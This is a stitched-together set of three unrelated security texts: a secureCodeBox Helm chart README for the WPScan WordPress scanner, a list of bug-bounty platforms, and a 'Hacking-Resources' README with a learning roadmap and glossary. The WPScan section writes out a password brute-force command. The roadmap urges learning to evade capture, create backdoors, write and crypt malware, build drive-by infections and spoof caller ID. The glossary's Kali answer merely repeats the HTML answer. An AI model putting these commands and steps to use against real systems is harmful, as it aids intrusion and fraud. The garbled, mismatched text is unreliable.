.: IMPORTANT! :.
--------------------------
This file is generated automatically with `helm-docs` based on the following template files:
- ./.helm-docs/templates.gotmpl (general template data for all charts)
- ./chart-folder/.helm-docs.gotmpl (chart specific template data)
Please be aware of that and apply your changes only within those template files instead of this file.
Otherwise your changes will be reverted/overwritten automatically due to the build process `./.github/workflows/helm-docs.yaml`
--------------------------
-->
<p align="center">
<a href="https://opensource.org/licenses/Apache-2.0"><img alt="License Apache-2.0" src="https://img.shields.io/badge/License-Apache%202.0-blue.svg"/></a>
<a href="https://github.com/secureCodeBox/secureCodeBox/releases/latest"><img alt="GitHub release (latest SemVer)" src="https://img.shields.io/github/v/release/secureCodeBox/secureCodeBox?sort=semver"/></a>
<a href="https://owasp.org/www-project-securecodebox/"><img alt="OWASP Incubator Project" src="https://img.shields.io/badge/OWASP-Incubator%20Project-365EAA"/></a>
<a href="https://artifacthub.io/packages/search?repo=securecodebox"><img alt="Artifact HUB" src="https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/securecodebox"/></a>
<a href="https://github.com/secureCodeBox/secureCodeBox/"><img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/secureCodeBox/secureCodeBox?logo=GitHub"/></a>
<a href="https://twitter.com/securecodebox"><img alt="Twitter Follower" src="https://img.shields.io/twitter/follow/securecodebox?style=flat&color=blue&logo=twitter"/></a>
</p>
## What is WPScan?
WPScan is a free, for non-commercial use, black box WordPress vulnerability scanner written for security professionals and blog maintainers to test the security of their sites.
> NOTE: You need to provide WPSan with an API Token so that it can look up vulnerabilities infos with [https://wpvulndb.com](https://wpvulndb.com). Without the token WPScan will only identify WordPress Core / Plugin / Theme versions but not if they are actually vulnerable. You can get a free API Token at by registering for an account at [https://wpvulndb.com](https://wpvulndb.com). Using the secureCodeBox WPScans you can specify the token via the `WPVULNDB_API_TOKEN` target attribute, see the example below.
To learn more about the WPScan scanner itself visit [wpscan.org] or [wpscan.io].
## Deployment
The wpscan chart can be deployed via helm:
```bash
# Install HelmChart (use -n to configure another namespace)
helm upgrade --install wpscan secureCodeBox/wpscan
```
## Scanner Configuration
The following security scan configuration example are based on the [WPScan Documentation], please take a look at the original documentation for more configuration examples.
* Scan all plugins with known vulnerabilities: `wpscan --url example.com -e vp --plugins-detection mixed --api-token WPVULNDB_API_TOKEN`
* Scan all plugins in our database (could take a very long time): `wpscan --url example.com -e ap --plugins-detection mixed --api-token WPVULNDB_API_TOKEN`
* Password brute force attack: `wpscan --url example.com -e u --passwords /path/to/password_file.txt`
* WPScan keeps a local database of metadata that is used to output useful information, such as the latest version of a plugin. The local database can be updated with the following command: `wpscan --update`
* When enumerating the WordPress version, installed plugins or installed themes, you can use three different "modes", which are:
* passive
* aggressive
* mixed
If you want the most results use the "mixed" mode. However, if you are worried that the server may not be able to handle many requests, use the "passive" mode. The default mode is "mixed", except plugin enumeration, which is "passive". You will need to manually override the plugin detection mode, if you want to use anything other than the default, with the `--plugins-detection` option.
* WPScan can enumerate various things from a remote WordPress application, such as plugins, themes, usernames, backed up files wp-config.php files, Timthumb files, database exports and more. To use WPScan's enumeration capabilities supply the `-e `option.
```bash
Available Choices:
vp | Vulnerable plugins
ap | All plugins
p | Plugins
vt | Vulnerable themes
at | All themes
t | Themes
tt | Timthumbs
cb | Config backups
dbe | Db exports
u | User IDs range. e.g: u1-5
Range separator to use: '-'
Value if no argument supplied: 1-10
m | Media IDs range. e.g m1-15
Note: Permalink setting must be set to "Plain" for those to be detected
Range separator to use: '-'
Value if no argument supplied: 1-100
Separator to use between the values: ','
Default: All Plugins, Config Backups
Value if no argument supplied: vp,vt,tt,cb,dbe,u,m
Incompatible choices (only one of each group/s can be used):
- vp, ap, p
- vt, at, t
```
## Requirements
Kubernetes: `>=v1.11.0-0`
## Values
| Key | Type | Default | Description |
|-----|------|---------|-------------|
| cascadingRules.enabled | bool | `false` | Enables or disables the installation of the default cascading rules for this scanner |
| parser.env | list | `[]` | Optional environment variables mapped into each parseJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) |
| parser.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images |
| parser.image.repository | string | `"docker.io/securecodebox/parser-wpscan"` | Parser image repository |
| parser.image.tag | string | defaults to the charts version | Parser image tag |
| parser.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the parser will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ |
| scanner.activeDeadlineSeconds | string | `nil` | There are situations where you want to fail a scan Job after some amount of time. To do so, set activeDeadlineSeconds to define an active deadline (in seconds) when considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup) |
| scanner.backoffLimit | int | 3 | There are situations where you want to fail a scan Job after some amount of retries due to a logical error in configuration etc. To do so, set backoffLimit to specify the number of retries before considering a scan Job as failed. (see: https://kubernetes.io/docs/concepts/workloads/controllers/job/#pod-backoff-failure-policy) |
| scanner.env | list | `[]` | Optional environment variables mapped into each scanJob (see: https://kubernetes.io/docs/tasks/inject-data-application/define-environment-variable-container/) |
| scanner.extraContainers | list | `[]` | Optional additional Containers started with each scanJob (see: https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) |
| scanner.extraVolumeMounts | list | `[]` | Optional VolumeMounts mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) |
| scanner.extraVolumes | list | `[]` | Optional Volumes mapped into each scanJob (see: https://kubernetes.io/docs/concepts/storage/volumes/) |
| scanner.image.pullPolicy | string | `"IfNotPresent"` | Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always if :latest tag is specified, or IfNotPresent otherwise. More info: https://kubernetes.io/docs/concepts/containers/images#updating-images |
| scanner.image.repository | string | `"wpscanteam/wpscan"` | Container Image to run the scan |
| scanner.image.tag | string | `nil` | defaults to the charts appVersion |
| scanner.nameAppend | string | `nil` | append a string to the default scantype name. |
| scanner.resources | object | `{}` | CPU/memory resource requests/limits (see: https://kubernetes.io/docs/tasks/configure-pod-container/assign-memory-resource/, https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) |
| scanner.securityContext | object | `{"allowPrivilegeEscalation":false,"capabilities":{"drop":["all"]},"privileged":false,"readOnlyRootFilesystem":false,"runAsNonRoot":false}` | Optional securityContext set on scanner container (see: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) |
| scanner.securityContext.allowPrivilegeEscalation | bool | `false` | Ensure that users privileges cannot be escalated |
| scanner.securityContext.capabilities.drop[0] | string | `"all"` | This drops all linux privileges from the container. |
| scanner.securityContext.privileged | bool | `false` | Ensures that the scanner container is not run in privileged mode |
| scanner.securityContext.readOnlyRootFilesystem | bool | `false` | Prevents write access to the containers file system |
| scanner.securityContext.runAsNonRoot | bool | `false` | Enforces that the scanner image is run as a non root user |
| scanner.ttlSecondsAfterFinished | string | `nil` | seconds after which the kubernetes job for the scanner will be deleted. Requires the Kubernetes TTLAfterFinished controller: https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/ |
## License
[](https://opensource.org/licenses/Apache-2.0)
Code of secureCodeBox is licensed under the [Apache License 2.0][scb-license].
[scb-owasp]: https://www.owasp.org/index.php/OWASP_secureCodeBox
[scb-docs]: https://docs.securecodebox.io/
[scb-site]: https://www.securecodebox.io/
[scb-github]: https://github.com/secureCodeBox/
[scb-twitter]: https://twitter.com/secureCodeBox
[scb-slack]: https://join.slack.com/t/securecodebox/shared_invite/enQtNDU3MTUyOTM0NTMwLTBjOWRjNjVkNGEyMjQ0ZGMyNDdlYTQxYWQ4MzNiNGY3MDMxNThkZjJmMzY2NDRhMTk3ZWM3OWFkYmY1YzUxNTU
[scb-license]: https://github.com/secureCodeBox/secureCodeBox/blob/master/LICENSE
[wpscan.io]: https://wpscan.io/
[wpscan.org]: https://wpscan.org/
[WPScan Documentation]: https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation
|
[](https://gitter.im/BBRteam/Lobby "Gitter Chat")
# Bug Bounty Resources
Storehouse of resources related to Bug Bounty Hunting collected from different sources. Watch and Star this repo for all latest guides, tools, methodology, platforms tips, and tricks curated by us.
# Getting Started (in Bug Hunting and More...)
## Coming Soon, till then, just keep watching or, 🌟 (starring) us! Thanks for your patience.
# Bug Bounty Platforms
## List of Top Platforms (Open/Public)
- ## Hackerone (H1)
- ## BugCrowd (BC)
- ## Intigriti
- ## BountyGraph (Software dependencies) [Closing on 12th December, 2018]
- ## BountyFactory
- ## OpenBugBounty (OBB) [Limited to XSSi and other non-intrusive type vulnerabilities]
## List of Top (Closed/Invite-only) Platforms
- ## Synack
- ## Cobalt
- ## Zerocopter
- ## Detectify
## Upcoming Platforms
### Have an insider edge over the newer platforms, be the first to join them!
- ## PlugBounty (Vulnerabilities in Plugins)
- ## BugsBounty (Indian origin)
## Misc. Other Platforms (Open)
- ## Hackenproof (crypto)
- ## Immunefi (cryto)
- ## BugBountyjp (Issues - Payment Delays)
- ## BugsBounty (Upcoming Platform, currently running Internally and exclusively)
- ## CESPPA
- ## Hackrfi
- ## Safehats (Indian origin, although registration is open, goes through validation)
- ## Hacktrophy
- ## Cyberarmy.id (Indonesian Origin)
- ## FireBounty (collection/list of bug bounty programs on different platforms like hackerone, bugcrowd, etc.)
## Misc. other (Invite-only/closed) Platforms
- ## BugBountyZone
- ## Federacy
- ## Yogosha
- ## Vulnscope
- ## Antihack (dubious/infamous for non-payments, and other issues)
## Programs
### List of Crypto Bounty programs
- [List of programs on Immunefi](https://github.com/BugBountyResources/Resources/blob/master/cryptobounty.md)
#### A word of caution goes here, we don't endorse or, opine about any platforms and the comments about them in parentheses merely reflect unbiased information which we gathered from the community and other credible sources. Platforms marked dubious, have payment delays and issues, so care should be taken while working on them.
|
# Hacking-Resources
---
This repository contains some resources for ethical hackers penetration tester 😊 This may contain some files, tools, books, and links that need to be used for good purposes only. Do not do any illegal work using these sources.
This is only for keeping some resources and topics in one-place to access easily.
> ***Find my 350+ tryhackme rooms' list [here](https://github.com/rng70/tryhackme-roadmap)***
## Sections
---
---
---
* [Book List](#book-list)
* [Everything You Need to Know to Become a HACKER](#everything-you-need-to-know-to-become-a-hacker)
* [PART I: THE ESSENTIALS](#part-i-the-essentials)
* [PART II: GLOSSARY](#part-ii-glossary)
* [Why is HTML important in pen-testing?](#why-is-html-important-in-pen-testing?)
* [Why Kali Linux and why in a Virtual Machine(VM)?](#why-kali-linux-and-why-in-a-virtual-machine(vm)?)
* [Why learn Debian commands?](#why-learn-debian-commands?)
* [Why use Tor, ProxyChains, Whonix or a VPN?](#why-use-tor,-proxychains,-whonix-or-a-vpn?)
* [Why use nmap, Burp-Suite and SQLMAP?](#why-use-nmap,-burp-suite-and-sqlmap?)
* [Why learn to use the Metasploit Framework?](#why-learn-to-use-the-metasploit-framework?)
* [Why understand WEP/WPA?](#why-understand-wep/wpa?)
* [Why master the air-ng suite (use for wireless hacking)?](#why-master-the-air-ng-suite-(use-for-wireless-hacking)?)
* [Why learn how to perform MITM (man in the middle) attacks, sniff networks and tamper data?](#why-learn-how-to-perform-mitm-(man-in-the-middle)-attacks,-sniff-networks-and-tamper-data?)
* [What is Brute-forcing?](#what-is-brute-forcing?)
* [Why learn XSS, LFI, RFI?](#why-learn-xss,-lfi,-rfi?)
* [What is a backdoor in Pen-testing?](#what-is-a-backdoor-in-pen-testing?)
* [Links of Different Topics](#links-of-different-topics)
* Course Links
* [Free Courses](http://bit.ly/2UkY5Za "Resources Point")
* [MyCollection](https://drive.google.com/drive/folders/1X8gUaDVnCPBaOXpnTRHE0hn2ZKtO9GJx?usp=sharing "rng70's drive")
* [Hack the Box (HTB) machines walkthrough series](https://resources.infosecinstitute.com/hack-the-box-htb-walkthrough-access/ "https://resources.infosecinstitute.com/hack-the-box-htb-walkthrough-access/")
* Tools
* [Regon-ng](https://github.com/jhaddix/domain "https://github.com/jhaddix/domain")
* [Intrigue](https://github.com/intrigueio/intrigue-core "https://github.com/intrigueio/intrigue-core")
* [SecLists](https://github.com/danielmiessler/SecLists "https://github.com/danielmiessler/SecLists")
* [Autorize](https://github.com/Quitten/Autorize#autorize "https://github.com/Quitten/Autorize#autorize")
* [ForceSSL](https://github.com/arvinddoraiswamy/mywebappscripts/tree/master/ForceSSL "https://github.com/arvinddoraiswamy/mywebappscripts/tree/master/ForceSSL")
* [binwalk](https://github.com/ReFirmLabs/binwalk "https://github.com/ReFirmLabs/binwalk")
* [stegsolve (hidden text discover tool)](http://www.caesum.com/handbook/Stegsolve.jar "http://www.caesum.com/handbook/Stegsolve.jar")
* [zardus/ctf-tools](https://github.com/zardus/ctf-tools "https://github.com/zardus/ctf-tools")
* [DidierStevensSuite](https://github.com/DidierStevens/DidierStevensSuite "https://github.com/DidierStevens/DidierStevensSuite")
* [Best SQL injection resources](#best-sql-injection-resources)
* [Capture The Flag](#ctf)
* [Capture The Flag Framework](#ctf-framework)
* [Hacker101 Syllabus](#hacker101-syllabus)
* [Random Collected Topics](#random-collected-topics)
* [Footprinting and Information Gathering](#footprinting-and-information-gathering)
* [PHP and SQL](#php-and-sql)
* [System Hacking](#system-hacking)
* [Malware](#malware)
* [Social Engineering](#social-engineering)
* [Denial of Service(DOS)](#denial-of-service(dos))
* [SQL Injection](#sql-injection)
* [Evading IDS, Firewalls, and Honeypots](#evading-ids,-firewalls,-and-honeypots)
* [Scanning Networks Web Server](#scanning-networks-web-server)
* [Attack](#attack)
* [Extra](#extra)
* [Exam Preparation](#exam-preparation)
<h1><summary>🔰 Some topics for self Learning 🔰</summary></h1>
<details>
<summary>Topics</summary>
* Attacking HTTPS with Cache Injection
* Bruteforce of PHPSESSID
* Blended Threats and JavaScript
* Broken Authentication and Session Management
* CAPTCHA Re-Riding Attack
* Chronofeit Phishing
* Click Jacking Attacks
* Cookie Eviction
* Cookie Poisoning
* Cross-Site Port Attacks
* Cross-Site Request Forgery (CSRF)
* Cross-Site Scripting (XSS)
* Cross Site Scripting Attacks
* Bypassing CSRF protections with Click Jacking and
* Denial oF Service Attack
* Direct OS Code Injection
* DNS Cache Poisoning
* EverCookie
* Fooling B64_Encode(Payload) on WAFs And Filters
* Generic Cross-Browser Cross-Domain theft
* Hibernate Query Language Injection
* HTTP Parameter Pollution
* Improving HTTPS Side Channel Attacks
* Insecure Direct Object References
* Local file inclusion
* Lost iN Translation
* MitM DNS Rebinding SSL/TLS Wildcards and XSS
* Missing Function Level Access Control
* MySQL Stacked Queries with SQL Injection.
* NAT Pinning
* Next Generation Click Jacking
* Persistent Cross Interface Attacks
* PHPwn
* Posting Raw XML cross-domain
* Quick Proxy Detection
* Remote Code Execution Attacks
* Remote File inclusion
* Security Misconfiguration
* Sensitive Data Exposure
* Side Channel Attacks in SSL
* Sql Injection Attack
* SQLi Filter Evasion Cheat Sheet (MySQL)
* SSRF
* Stroke Jacking
* Stroke triggered XSS and Stroke Jacking
* Symlinking – An Insider Attack
* Tap Jacking
* Tabnabbing
* Turning XSS into Clickjacking
* UI Redressing
* Unvalidated Redirects and Forwards
* URL Hijacking
* Using Components with Known Vulnerabilities
* XML Entity Injection
* XSHM
* XSS - Track
* XSSing Client-Side Dynamic HTML
</details>
🦚 From Beginner to Expert Tryhackme Walkthrough 🦚
🦚 # Level 1 - Intro
- [ ] OpenVPN https://tryhackme.com/room/openvpn
- [ ] Welcome https://tryhackme.com/jr/welcome
- [ ] Intro to Researching https://tryhackme.com/room/introtoresearch
- [ ] Learn Linux https://tryhackme.com/room/zthlinux
- [ ] Crash Course Pentesting https://tryhackme.com/room/ ccpentesting
- [ ] Introductory CTFs to get your feet wet
- [ ] Google Dorking https://tryhackme.com/room/googledorking
- [ ] OHsint https://tryhackme.com/room/ohsint
- [ ] Shodan.io https://tryhackme.com/room/shodan
🦚 # Level 2 - Tooling
- [ ] Tmux https://tryhackme.com/room/rptmux
- [ ] Nmap https://tryhackme.com/room/rpnmap
- [ ] Web Scanning https://tryhackme.com/room/rpwebscanning
- [ ] Sublist3r https://tryhackme.com/room/rpsublist3r
- [ ] Metasploit https://tryhackme.com/room/rpmetasploit
- [ ] Hydra https://tryhackme.com/room/hydra
- [ ] Linux Privesc https://tryhackme.com/room/linuxprivesc
- [ ] Web Scanning https://tryhackme.com/room/rpwebscanning
More introductory CTFs
- [ ] Vulnversity - https://tryhackme.com/room/vulnversity
- [ ] Blue - https://tryhackme.com/room/blue
- [ ] Simple CTF https://tryhackme.com/room/easyctf
- [ ] Bounty Hacker https://tryhackme.com/room/cowboyhacker
🦚 # Level 3 - Crypto & Hashes with CTF practice
- [ ] Crack the hash https://tryhackme.com/room/crackthehash
- [ ] Agent Sudo https://tryhackme.com/room/agentsudoctf
- [ ] The Cod Caper https://tryhackme.com/room/thecodcaper
- [ ] Ice https://tryhackme.com/room/ice
- [ ] Lazy Admin https://tryhackme.com/room/lazyadmin
- [ ] Basic Pentesting https://tryhackme.com/room/basicpentestingjt
🦚 # Level 4 - Web
- [ ] OWASP top 10 https://tryhackme.com/room/owasptop10
- [ ] Inclusion https://tryhackme.com/room/inclusion
- [ ] Injection https://tryhackme.com/room/injection
- [ ] Vulnversity https://tryhackme.com/room/vulnversity
- [ ] Basic Pentesting https://tryhackme.com/room/basicpentestingjt
- [ ] Juiceshop https://tryhackme.com/room/owaspjuiceshop
- [ ] Ignite https://tryhackme.com/room/ignite
- [ ] Overpass https://tryhackme.com/room/overpass
- [ ] Year of the Rabbit https://tryhackme.com/room/yearoftherabbit
- [ ] DevelPy https://tryhackme.com/room/bsidesgtdevelpy
- [ ] Jack of all trades https://tryhackme.com/room/jackofalltrades
- [ ] Bolt https://tryhackme.com/room/bolt
🦚 # Level 5 - Reverse Engineering
- [ ] Intro to x86 64 https://tryhackme.com/room/introtox8664
- [ ] CC Ghidra https://tryhackme.com/room/ccghidra
- [ ] CC Radare2 https://tryhackme.com/room/ccradare2
- [ ] CC Steganography https://tryhackme.com/room/ccstego
- [ ] Reverse Engineering https://tryhackme.com/room/reverseengineering
- [ ] Reversing ELF https://tryhackme.com/room/reverselfiles
- [ ] Dumping Router Firmware https://tryhackme.com/room/rfirmware
🦚 # Level 6 - PrivEsc
- [ ] Sudo Security Bypass https://tryhackme.com/room/sudovulnsbypass
- [ ] Sudo Buffer Overflow https://tryhackme.com/room/sudovulnsbof
- [ ] Windows Privesc Arena https://tryhackme.com/room/windowsprivescarena
- [ ] Linux Privesc Arena https://tryhackme.com/room/linuxprivescarena
- [ ] Windows Privesc https://tryhackme.com/room/windows10privesc
- [ ] Blaster https://tryhackme.com/room/blaster
- [ ] Ignite https://tryhackme.com/room/ignite
- [ ] Kenobi https://tryhackme.com/room/kenobi
- [ ] Capture the flag https://tryhackme.com/room/c4ptur3th3fl4g
- [ ] Pickle Rick https://tryhackme.com/room/picklerick
🦚 # Level 7 - CTF practice
- [ ] Post Exploitation Basics https://tryhackme.com/room/postexploit
- [ ] Smag Grotto https://tryhackme.com/room/smaggrotto
- [ ] Inclusion https://tryhackme.com/room/inclusion
- [ ] Dogcat https://tryhackme.com/room/dogcat
- [ ] LFI basics https://tryhackme.com/room/lfibasics
- [ ] Buffer Overflow Prep https://tryhackme.com/room/bufferoverflowprep
- [ ] Overpass https://tryhackme.com/room/overpass
- [ ] Break out the cage https://tryhackme.com/room/breakoutthecage1
- [ ] Lian Yu https://tryhackme.com/room/lianyu
---
---
---
# Everything You Need to Know to Become a HACKER
---
Many people are asking me this.
In this section I am regrouping what ethical, black hat and grey hat hackers think are the essential skills and knowledge any pen tester should know.
At the top you will find all the essential tools and knowledge one must learn to become efficient and skilled at penetration testing, and at the bottom, the second part explaining what each of these things are.
## PART I: THE ESSENTIALS
Some of these tutorial are simple or PoC but I strongly suggest you find books on each of these subjects before you say you understand how this works.
1. Start by learning how TCP/UDP works (networking): `TCP and UDP`
You must know the fundamentals of HTTP and how Structured Query Language databases work : `HTTP fundamentals and SQL`
2. Learn HTML, install a Linux OS preferably KALI Linux on a virtualization program like VirtualBox (free) or VMWARE (paid).
`Learn HTML`
`Download Kali on VirtualBox/VirtualBox Workstation Pro`
3. Learn basic Debian commands to feel comfortable using KALI and download the KALI hand-book
4. Learn how to be anonymous using `Tor, ProxyChains, Whonix and VPN's` that don't keep logs (``Mullvad VPN`), MAC spoofing, DNS spoofing.
`Tor || ProxyChains || Whonix || Mac Spoofing || DNS Spoofing`
5. Learn to use `Burp Suite`, `Nmap`, and once you really understand SQL try `SQLMap`.
`Nmap || BurpSuite || SQLMap`
6. Learn your way around Metasploit(=)Armitage but before that understand the different OS vulnerabilities by searching their CVE.
`Metasploit Framework || CVE Website`
7. Understand WEP/WPA/WPS, watch out for KRACK which will be released soon and we might learn how to crack WPA2.
`WPA-WEP info || KRACK`
Once you have understood these find out about the `air-ng suite, aircrack-ng, aireplay-ng` and others.
Air-ng suite - How to crack Wireless Networks
8. Learn how to use tamper data, sniff networks and to accomplish MITM attacks.
`Tamper Data || Sniff with Wireshark || MITM`
9. Learn about wireless adapters and their different modes.
`Different modes`
10. Learn how to "automate" vulnerability scanning with Nessus.
`Nessus Guide`
11. Learn about XSS, RFI, LFI. Don't learn how to DDoS (joking).
`XSS-LFI-RFI Tutorial`
12. Understand the ins and out of the OSI model.
`Layers of OSI Model`
13. Learn how to create a backdoor, what shells are and the definition of a 0-day.
`Create a backdoor`
14. Brute-forcing and Dictionary attacks.
`Crack passwords with Hydra`
Hash cracking:
`Crack with John`
15. Learn how to use google dorks (google hacking).
`Google Hacking Database`
16. Learn what are DNS, how to do `whois` lookups.
What is a DNS ?
17. Learn the most important port numbers.
`Port number list`
18. How to spoof a phone number.
`Caller ID Spoofing`
Research different scripting languages, check Rubber Ducky and these kind of hardware tools everybody talks about.
Rubber Ducky
19. Learn how to create java-drive-by and browser based infection methods.
`Java Drive By [outdated]`
20. Understand how AV's work and how to create malwares and how to crypt them.
`Basic AV detection methods || Create a Crypter`
21. Social Engineering or how to lie. I won't discuss this here but here is a book on persuasion:
`Robert Cialdini Influence and Manipulation`
Once you have learned all that maybe you can start learning the advanced stuff. Of course, I hope you will become a white-hat and help people with their security instead of breaching it.
## PART II: GLOSSARY
TCP/IP (Networking):
Computers themselves speak to each other across a network through the use of packets. In essence the base unit of communications in the world of computer networks is the packet. Packets themselves are most commonly built using the TCP/IP stack, which is part of the computer's operating system. Each operating system has some unique values coded into its implementation of the TCP/IP stack. This is how OS fingerprinting works, by studying these unique values such as MSS and MTU among others. It has been said before that to recognize the abnormal you must first understand what is normal. This is why we need to understand what a normal TCP/IP packet looks like and how TCP/IP itself sets up communications between computers.
Here some answer of some common questions related to `Ethical Hacking` is listed:
### `Why is HTML important in pen-testing?`
First because everything page you see on the web are displayed to some extent using HTML. It is the minimum to know the most basic language which carries the most content on internet. Also HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute JavaScript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user's trust.
### `Why Kali Linux and why in a Virtual Machine(VM)?`
First because everything page you see on the web are displayed to some extent using HTML. It is the minimum to know the most basic language which carries the most content on internet. Also HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute JavaScript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user's trust.
### `Why learn Debian commands?`
Don't need spoilers for that one, in my opinion it is important to know your way around the system you use and learn the basic terminal commands that are packed within.
### `Why use Tor, ProxyChains, Whonix or a VPN?`
During the penetration testing or vulnerability assessment or hacking, staying anonymous is one of the important factor.
If you are a black hat, you also don't want to get caught. Without it, the internet connection will reveal your identity. ProxyChains is Proxifier for Linux system. It allows TCP and DNS tunneling through proxies. It supports HTTP, SOCKS4 and SOCKS5 proxy servers. It uses multiple proxies at a time, so it is called Proxy Chaining. In the tutorial you will be taught to use ProxyChains through the Tor network.
Whonix is also a very good way to stay anonymous and makes use of the Tor network with its own gateway.
MAC Spoofing allows you to change your MAC address which is your computer's ID. Your MAC address points to your PC's brand and can lead to you when deep searching.
### `Why use nmap, Burp-Suite and SQLMAP?`
Burp-Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals to identify vulnerabilities and verify attack vectors for web-based applications.
In its simplest form, Burp-Suite can be classified as an Interception Proxy. A penetration tester configures their Internet browser to route traffic through the proxy which then acts as a sort of Man In The Middle by capturing and analyzing each request and response to and from the target web application. Individual HTTP requests can be paused, manipulated and replayed back to the web server for targeted analysis of parameter specific injection points. Injection points can be specified for manual as well as automated fuzzing attacks to discover potentially unintended application behaviors, crashes and error messages.
Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
### `Why learn to use the Metasploit Framework?`
Metasploit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine it, Metasploit framework has the world’s largest database of public, tested exploits. In simple words, Metasploit can be used to test the Vulnerability of computer systems in order to protect them and on the other hand it can also be used to break into remote systems. It is the most renown framework used to exploit systems.
### `Why understand WEP/WPA?`
If you want to become a professional pen-tester you will have to learn about WEP/WPA encryption because the whole wireless ecosystem resolves around these encryption, understand these will give you greater power when cracking wireless networks.
### `Why master the air-ng suite (use for wireless hacking)?`
Most if not every Wi-FI cracking methods involve using aircrack-ng. Learning how to use these tools will allow you to crack most wireless network.
### `Why learn how to perform MITM (man in the middle) attacks, sniff networks and tamper data?`
In a sense, a man-in-the-middle attack (MITM) is like eavesdropping. Data is sent from point A (computer) to point B (server/website), and an attacker can get in-between these transmissions. They then set up tools programmed to “listen in” on transmissions, intercept data that is specifically targeted as valuable, and capture the data. Sometimes this data can be modified in the process of transmission to try to trick the end user to divulge sensitive information, such as log in credentials. Once the user has fallen for the bait, the data is collected from the target, and the original data is then forwarded to the intended destination unaltered.
Sniffing and snooping. They refer to listening to a conversation. For example, if you login to a website that uses no encryption, your username and password can be sniffed off the network by someone who can capture the network traffic between you and the web site.
Spoofing refers to actively introducing network traffic pretending to be someone else. For example, spoofing is sending a command to computer A pretending to be computer B. It is typically used in a scenario where you generate network packets that say they originated by computer B while they really originated by computer C. Spoofing in an email context means sending an email pretending to be someone else.
Tamper Data is an add-on for Firefox that lets you view and modify HTTP requests before they are sent. It shows what information the web browser is sending on your behalf, such as cookies and hidden form fields. Use of this plugin can reveal web applications that trust the client not to misbehave.
### `What is Brute-forcing?`
A brute-force attack consists of an attacker trying many passwords or passphrases with the hope of eventually guessing correctly. The attacker systematically checks all possible passwords and passphrases until the correct one is found. Alternatively, the attacker can attempt to guess the key which is
typically created from the password using a key derivation function. This is known as an exhaustive key search.
### `Why learn XSS, LFI, RFI?`
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of invalidated or unencoded user input within the output it generates.
Remote File inclusion (RFI) refers to an inclusion attack wherein an attacker can cause the web application to include a remote file by exploiting a web application that dynamically includes external files or scripts. The consequences of a successful RFI attack include Information Disclosure and Cross-site Scripting (XSS) to Remote Code Execution.
Remote File Inclusion (RFI) usually occurs, when an application receives the path to the file that has to be included as an input without properly sanitizing it. This would allow an external URL to be supplied to the include statement.
Local File inclusion (LFI), or simply File Inclusion, refers to an inclusion attack through which an attacker can trick the web application in including files on the web server by exploiting functionality that dynamically includes local files or scripts. The consequence of a successful LFI attack includes Directory Traversal and Information Disclosure as well as Remote Code Execution.
Typically, Local File Inclusion (LFI) occurs, when an application gets the path to the file that has to be included as an input without treating it as untrusted input. This would allow a local file to be supplied to the include statement.
### `What is a backdoor in Pen-testing?`
Attackers can install their own backdoor on a targeted system. Doing so allows them to come and go as they please and gives them remote access to the system. Malware installed on systems for this purpose is often called a remote access Trojan, or a RAT, and can be used to install other malware on the system or exfiltrate data.
Would love writing more. Good luck on your journey and remember white hats shine more then black.
<h1>Links of Different Topics</h1>
<h2>Best SQL injection resources</h2>
- MySQL:
- [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
- [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
- MSQQL:
- [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
